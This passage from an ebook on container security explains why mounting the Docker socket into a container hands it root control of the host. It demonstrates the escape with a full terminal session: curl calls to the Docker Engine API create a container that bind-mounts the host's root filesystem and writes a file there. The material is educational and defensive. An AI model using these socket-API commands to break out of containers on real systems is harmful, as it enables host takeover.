Mounting the Docker socket into the container

This is by far the most egregious security hole that developers completely disregard when deploying containerized solutions. For various things related to container management, often advice on the Internet is generally leaning toward bind-mounting the Docker socket (/var/run/docker.sock) into the container, but the thing rarely mentioned is effectively giving the host's root-level access to such a container when you do this. Since the Docker's socket is actually just an API endpoint and the Docker daemon runs as the root, the container can simply escape its containment by launching other containers with the host's system folders being mounted on them and then executing arbitrary commands on them.

For more information on using the Docker socket as a RESTful endpoint, you can take a look at the source code or explore a bit through the documentation for Docker Engine API at https://docs.docker.com/engine/api/v1.31/. The only thing you will generally need to do to use it through a tool such as curl is to add --unix-socket <socket_path> and, optionally -H "Content-Type: application/json" for POST requests.
Docker has been making strides at turning its service into a userspace one from a root-level one, but so far, this feature has not materialized in any practical manner. While personally I have reservations about this happening anytime soon, keep an eye out for this feature as at some point it may actually get released and become a usable feature which would be a huge step forward for container security.

With the theory of how to misuse the Docker socket, now we will break out of our container though we will stop short of actually doing anything damaging to the system:

$ Start a "benign" container with the Docker socket mounted and run Bash
$ docker run --rm
-it
-v /var/run/docker.sock:/var/run/docker.sock
ubuntu /bin/bash

root@686212135a17:/# # Sanity check - make sure that the socket is there
root@686212135a17:/# ls -la /var/run/docker.sock
srw-rw---- 1 root 136 0 Sep 20 05:03 /var/run/docker.sock

root@686212135a17:/# # Install curl but almost any other HTTP client will work
root@686212135a17:/# # Even a base Python can do this but curl is fine for brevity
root@686212135a17:/# apt-get update && apt-get install -y curl
<snip>
done

root@686212135a17:/# # Create a container through the socket and bind-mount root to it
root@686212135a17:/# # with a "malicious" touch command to run
root@686212135a17:/# curl -s
--unix-socket /var/run/docker.sock
-H "Content-Type: application/json"
-d '{"Image": "ubuntu", "Cmd": ["touch", "/mnt/security_breach"], "Mounts": [{"Type": "bind", "Source": "/", "Target":"/mnt", "RW": true}]}'
-X POST
http:/v1.29/containers/create
{"Id":"894c4838931767462173678aacc51c3bb98f4dffe15eaf167782513305c72558","Warnings":null}

root@686212135a17:/# # Start our escaped container
root@686212135a17:/# curl --unix-socket /var/run/docker.sock
-X POST
http:/v1.29/containers/894c4838/start

root@686212135a17:/# # Exit out of our "benign" container back to host
root@686212135a17:/# exit
exit

$ # Let's see what happened on our host
$ ls -la / | grep breach
-rw-r--r-- 1 root root 0 Sep 20 23:14 security_breach

$ # Oops!

It should be apparent now how the benign container was able to root the host with just a few CLI commands. While some of it is predicated on the container process running as the root, the same could possibly be done if the Docker group ID clashes with a non-privileged group within the container, but with nitpicks aside, suffice it to say that mounting the Docker socket without fully understanding the implications can lead to a very painful breach. With that in mind, there are (albeit rare) legitimate uses of this technique so use your best judgment here.

..................Content has been hidden....................

You can't read the all page of ebook, please click here login for view all page.
Reset
3.22.66.208